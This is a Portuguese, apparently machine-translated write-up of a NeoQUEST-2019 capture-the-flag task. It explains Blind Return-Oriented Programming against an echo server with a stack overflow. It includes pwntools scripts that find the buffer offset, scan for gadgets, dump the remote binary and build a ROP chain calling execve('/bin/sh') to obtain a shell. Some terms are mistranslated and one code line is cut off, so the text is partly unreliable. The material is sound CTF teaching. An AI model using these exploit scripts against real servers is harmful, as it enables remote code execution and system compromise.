Como encontrar uma vulnerabilidade em um servidor sem informações? Qual a diferença entre o BROP e o ROP? É possível baixar um arquivo executável de um servidor através de um estouro de buffer? Bem-vindo ao gato, analisaremos as respostas para essas perguntas no exemplo de aprovação na tarefa
NeoQUEST-2019 !
O endereço e a porta do servidor são
fornecidos :
213.170.100.211 10000 . Vamos tentar se conectar a ele:
À primeira vista - nada de especial, um servidor de eco regular: retorna a mesma coisa que nós mesmos enviamos a ele.
Tendo jogado com o tamanho dos dados transmitidos, você pode notar que, com um comprimento de linha suficientemente longo, o servidor não se levanta e finaliza a conexão:
Hmm, parece um estouro.
Encontre o comprimento do buffer. Você pode simplesmente iterar sobre os valores, incrementando-os, até obtermos uma saída não padrão do servidor. E você pode mostrar um pouco de criatividade e acelerar o processo usando a pesquisa binária, verificando se o servidor travou ou não após a próxima solicitação.
Determinando o comprimento do bufferfrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
Portanto, o tamanho do buffer é 136. Se você enviar 136 bytes para o servidor, apagaremos o byte nulo no final de nossa linha na pilha e obteremos os dados a seguir - o valor é 0x400155. E este, aparentemente, é o endereço de retorno. Dessa forma, podemos controlar o fluxo de execução. Mas não temos o arquivo executável em si e não sabemos onde estão localizados exatamente os gadgets ROP que nos permitiriam obter o shell.
O que pode ser feito sobre isso?
Existe uma técnica especial que permite resolver esse tipo de problema, desde que o endereço de retorno seja controlado -
Programação Orientada a Retorno Cego . Em essência, o BROP é uma verificação cega de um arquivo executável em busca de gadgets. Reescrevemos o endereço de retorno com algum endereço do segmento de texto, definimos os parâmetros para o gadget desejado na pilha e analisamos o comportamento do programa. Com base na análise, nasce uma suposição, adivinhada ou não. Um importante papel é desempenhado por dispositivos auxiliares especiais -
Parar (sua execução não levará ao término do programa) e
Trap (sua execução fará com que o programa seja encerrado). Assim, primeiro os dispositivos auxiliares são encontrados e, com a ajuda deles, os necessários já são pesquisados (geralmente para chamar de
gravação e obter o arquivo executável).
Por exemplo, queremos encontrar um gadget que coloque um único valor da pilha em um registrador e faça
ret . Gravaremos o endereço testado em vez do endereço de retorno para transferir o controle para ele. Depois, anotamos o endereço do gadget
Trap que encontramos anteriormente e, atrás dele, o endereço do gadget
Stop . No final das contas, se o servidor travou (o
Trap funcionou), o gadget está localizado no endereço de teste atual, que não corresponde ao buscado: ele não remove o endereço do gadget do
Trap da pilha. Se
Stop funcionou, o gadget atual pode ser exatamente o que estamos procurando: ele removeu um valor da pilha. Assim, você pode procurar por gadgets que correspondam a um comportamento específico.
Mas, neste caso, a pesquisa pode ser simplificada. Temos certeza de que o servidor está nos imprimindo algum valor em resposta. Você pode tentar varrer vários endereços no arquivo executável e ver se chegamos ao código que exibe a linha novamente.
Descoberta de gadgets lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
Como podemos obter o arquivo executável usando esse vazamento?
Sabemos que o servidor escreve uma linha em resposta. Quando vamos para o endereço
0x40016f, os parâmetros da função de saída são preenchidos com algum tipo de lixo. Como, julgando pelo endereço de retorno, estamos lidando com um arquivo executável de 64 bits, os parâmetros das funções
estão localizados nos registradores.
Mas e se encontrássemos um gadget que nos permitisse controlar o conteúdo dos registros (coloque-os na pilha)? Vamos tentar encontrá-lo usando a mesma técnica. Podemos colocar qualquer valor na pilha, certo? Portanto, precisamos encontrar um dispositivo pop que coloque nosso valor no registro desejado antes de chamar a função de saída. Defina o endereço do início do arquivo ELF (
0x400000 ) como o endereço da string. Se encontrarmos o gadget certo, o servidor precisará imprimir a assinatura
7F 45 4C 46 em resposta.
A pesquisa de gadgets continua def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
Usando o grupo de endereços resultante, extraímos o arquivo executável do servidor.
Extração de arquivo def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
Vamos vê-lo na AID:
O endereço
0x40016f nos leva a
syscall e
0x40017f leva a
pop rsi ;
ret .
Agora que você tem um arquivo executável em mãos, pode criar uma cadeia ROP. Além disso, a linha
/ bin / sh também estava nela !
Formamos uma cadeia que chama
sistema com o argumento
/ bin / sh . Informações sobre chamadas do sistema no Linux de 64 bits podem ser encontradas, por exemplo,
aqui .
Último pequeno passo def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
Execute a exploração e obtenha o shell:
Vitória!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433Muito em breve, vraytaps aparecerá para as outras tarefas do estágio on-line do NeoQUEST-2019. E o "Confronto" acontecerá no dia 26 de junho! Notícias aparecerão no
site do evento, não perca!